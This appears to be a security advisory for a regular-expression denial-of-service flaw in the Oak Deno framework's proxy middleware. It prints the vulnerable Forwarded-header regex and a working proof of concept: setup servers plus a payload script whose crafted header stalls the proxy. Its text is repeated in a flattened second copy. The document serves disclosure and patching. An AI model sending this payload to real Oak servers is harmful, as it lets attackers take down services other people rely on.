Summary
An exponential (severe) complexity regular expression exposed to user input (via an arbitrary forwarded
header) allows for a full denial of service attack on the Oak proxy server.
Details
Affected regex:
|
const FORWARDED_RE = |
|
/^(,[ \\t]*)*([!#$%&'*+.^_`|~0-9A-Za-z-]+=([!#$%&'*+.^_`|~0-9A-Za-z-]+|\"([\\t \\x21\\x23-\\x5B\\x5D-\\x7E\\x80-\\xFF]|\\\\[\\t \\x21-\\x7E\\x80-\\xFF])*\"))?(;([!#$%&'*+.^_`|~0-9A-Za-z-]+=([!#$%&'*+.^_`|~0-9A-Za-z-]+|\"([\\t \\x21\\x23-\\x5B\\x5D-\\x7E\\x80-\\xFF]|\\\\[\\t \\x21-\\x7E\\x80-\\xFF])*\"))?)*([ \\t]*,([ \\t]*([!#$%&'*+.^_`|~0-9A-Za-z-]+=([!#$%&'*+.^_`|~0-9A-Za-z-]+|\"([\\t \\x21\\x23-\\x5B\\x5D-\\x7E\\x80-\\xFF]|\\\\[\\t \\x21-\\x7E\\x80-\\xFF])*\"))?(;([!#$%&'*+.^_`|~0-9A-Za-z-]+=([!#$%&'*+.^_`|~0-9A-Za-z-]+|\"([\\t \\x21\\x23-\\x5B\\x5D-\\x7E\\x80-\\xFF]|\\\\[\\t \\x21-\\x7E\\x80-\\xFF])*\"))?)*)?)*$/; |
Due to the regex's complexity (being exponential), a small payload <5kb can potentially leave the server's event loop fully stuck.
PoC
// proxy.ts
import { Application, proxy } from "https://deno.land/x/[email protected]/mod.ts";
const app = new Application();
// Logger
app.use(async (ctx, next) => {
await next();
const rt = ctx.response.headers.get("X-Response-Time");
console.log(`${ctx.request.method} ${ctx.request.url} - ${rt}`);
});
// Timing
app.use(async (ctx, next) => {
const start = Date.now();
await next();
const ms = Date.now() - start;
ctx.response.headers.set("X-Response-Time", `${ms}ms`);
});
app.use(proxy("http://localhost:9000"));
console.log("Server running on port 8000");
await app.listen({ port: 8000 });
// index.ts (the main server being proxied - this can be any service)
import { Application } from "https://deno.land/x/[email protected]/mod.ts";
const app = new Application();
// Logger
app.use(async (ctx, next) => {
await next();
const rt = ctx.response.headers.get("X-Response-Time");
console.log(`${ctx.request.method} ${ctx.request.url} - ${rt}`);
});
// Timing
app.use(async (ctx, next) => {
const start = Date.now();
await next();
const ms = Date.now() - start;
ctx.response.headers.set("X-Response-Time", `${ms}ms`);
});
// Hello World!
app.use((ctx) => {
ctx.response.body = "Hello World!";
});
console.log("Server running on port 9000");
await app.listen({ port: 9000 });
// payload.ts
const start = performance.now();
const request = await fetch("http://localhost:8000", {
headers: {
"forwarded": ',;!="\\\\' + 't\\\\t\\\\'.repeat(28) + 't,'
}
});
const response = await request.text();
const end = performance.now();
console.log(response);
console.log(`Took ${end - start}ms`);
To run, run both proxy.ts
and index.ts
in parallel, then run payload.ts
while both servers are running. This will halt proxy.ts
fully (because of the CPU cost).
Impact
This vulnerability impacts anyone using oak as a proxy service, allowing for their server to be brought to a full stop.
References
Summary
An exponential (severe) complexity regular expression exposed to user input (via an arbitrary
forwarded
header) allows for a full denial of service attack on the Oak proxy server.Details
Affected regex:
oak/middleware/proxy.ts
Lines 88 to 89 in 7418ff3
Due to the regex's complexity (being exponential), a small payload <5kb can potentially leave the server's event loop fully stuck.
PoC
To run, run both
proxy.ts
andindex.ts
in parallel, then runpayload.ts
while both servers are running. This will haltproxy.ts
fully (because of the CPU cost).Impact
This vulnerability impacts anyone using oak as a proxy service, allowing for their server to be brought to a full stop.
References